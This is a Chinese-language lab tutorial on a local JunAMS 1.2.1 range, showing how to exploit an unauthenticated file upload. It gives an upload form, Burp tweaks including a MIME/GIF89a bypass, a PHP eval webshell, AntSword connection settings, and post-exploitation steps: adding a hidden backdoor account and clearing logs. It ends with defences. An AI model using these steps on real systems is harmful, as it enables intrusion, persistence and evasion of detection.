从零构建JunAMS靶场:无权限文件上传漏洞的实战攻防演练
在网络安全领域,文件上传漏洞因其高危害性和易利用性,长期占据OWASP Top 10榜单。不同于需要后台权限的传统文件上传漏洞,无权限前台文件上传漏洞往往被开发者忽视,却可能成为系统沦陷的致命入口。本文将带您使用PHPStudy在Windows环境下快速搭建JunAMS 1.2.1漏洞靶场,通过完整攻击链演示如何检测、利用这类"隐形杀手"。
1. 环境搭建:五分钟构建真实漏洞场景
1.1 工具准备与基础配置
首先需要准备以下材料:
- PHPStudy 8.1(推荐)或更新版本
- JunAMS 1.2.1源码包
- Burp Suite Community/Professional
- 中国蚁剑(AntSword)最新版
关键配置步骤:
- 解压PHPStudy后启动Apache+MySQL服务
- 将JunAMS源码放入
WWW目录 - 访问
http://localhost/install完成安装 - 删除
install目录防止重复安装
注意:若安装后无法访问后台,尝试清除浏览器缓存或使用无痕窗口。部分环境需要手动配置
public目录为网站根目录。
1.2 漏洞环境验证
通过以下命令验证环境是否正常:
curl -I http://localhost/admin.php预期应返回200状态码。同时检查以下关键文件是否存在:
/application/common/controller/Common.php/public/edit/目录可写权限
2. 漏洞原理深度剖析
2.1 ThinkPHP框架下的权限失控
JunAMS基于ThinkPHP 5.0开发,其漏洞本质是控制器权限校验缺失。对比传统文件上传漏洞,本案例的特殊性在于:
| 特征 | 传统后台上传漏洞 | JunAMS前台上传漏洞 |
|---|---|---|
| 利用前提 | 需要管理员权限 | 无需任何认证 |
| 触发路径 | 后台功能模块 | 公共控制器方法 |
| 防御难度 | 中等 | 较高(易被忽视) |
2.2 漏洞触发流程解析
漏洞发生在add_images方法中,其危险逻辑如下:
- 接收任意用户上传的文件
- 仅检查文件扩展名和MIME类型
- 未验证用户会话权限
- 直接保存文件到可访问目录
// 伪代码示例展示危险逻辑 public function add_images() { $file = request()->file('file'); $info = $file->validate(['ext'=>'jpg,png,gif'])->move('./edit'); if($info) { return json(['path'=>$info->getSaveName()]); } }3. 实战攻击链构建
3.1 前端表单构造技巧
由于目标系统前台无上传界面,需要手动构造HTML表单:
<!-- 保存为exploit.html本地打开 --> <form enctype="multipart/form-data" action="http://localhost/admin.php/common/add_images.html" method="post"> <input type="file" name="file"> <input type="submit" value="上传Webshell"> </form>关键修改点:
- 将
actionURL替换为实际靶场地址 - 保持
name="file"与后端接收参数一致 - 建议使用Firefox浏览器避免编码问题
3.2 BurpSuite拦截与绕过
当表单提交时,使用Burp Proxy拦截请求并做以下修改:
- 修改
filename="shell.php" - 确保Content-Type为
application/x-php - 写入经典一句话木马:
<?php @eval($_POST['ant']); ?>提示:若遇到MIME类型检查,可尝试将Content-Type改为
image/jpeg并添加GIF文件头GIF89a进行混淆。
3.3 蚁剑连接与权限维持
成功上传后,通过响应获取webshell路径:
http://localhost/public/edit/20220718/a1b2c3d4e5.php中国蚁剑连接配置:
- URL:上述webshell地址
- 连接密码:
ant(与POST参数一致) - 编码器选择
default
连接成功后建议立即:
- 查看
/etc/passwd确认权限 - 创建隐藏后门账户
- 清理访问日志
4. 防御体系构建与漏洞修复
4.1 临时防护方案
对于无法立即升级的系统,可采取以下紧急措施:
- 权限校验中间件
// 在Common控制器中添加 public function initialize() { if(!session('admin_id')) { $this->error('未经授权的访问'); } }- 文件上传目录禁用PHP执行
<Directory "/var/www/html/public/edit"> php_flag engine off RemoveHandler .php </Directory>4.2 长期安全建议
- 升级到JunAMS最新版本(已修复CNVD-2020-24741)
- 实施文件上传的深度检测:
- 文件内容签名验证
- 随机化存储文件名
- 独立文件存储域
4.3 同类漏洞挖掘方法论
将本案例的检测思路应用于其他CMS审计时,重点关注:
- 未授权访问的公共控制器
- 继承链中缺失权限检查的方法
- 文件操作函数调用路径
- 特殊前缀路由(如/api/, /common/)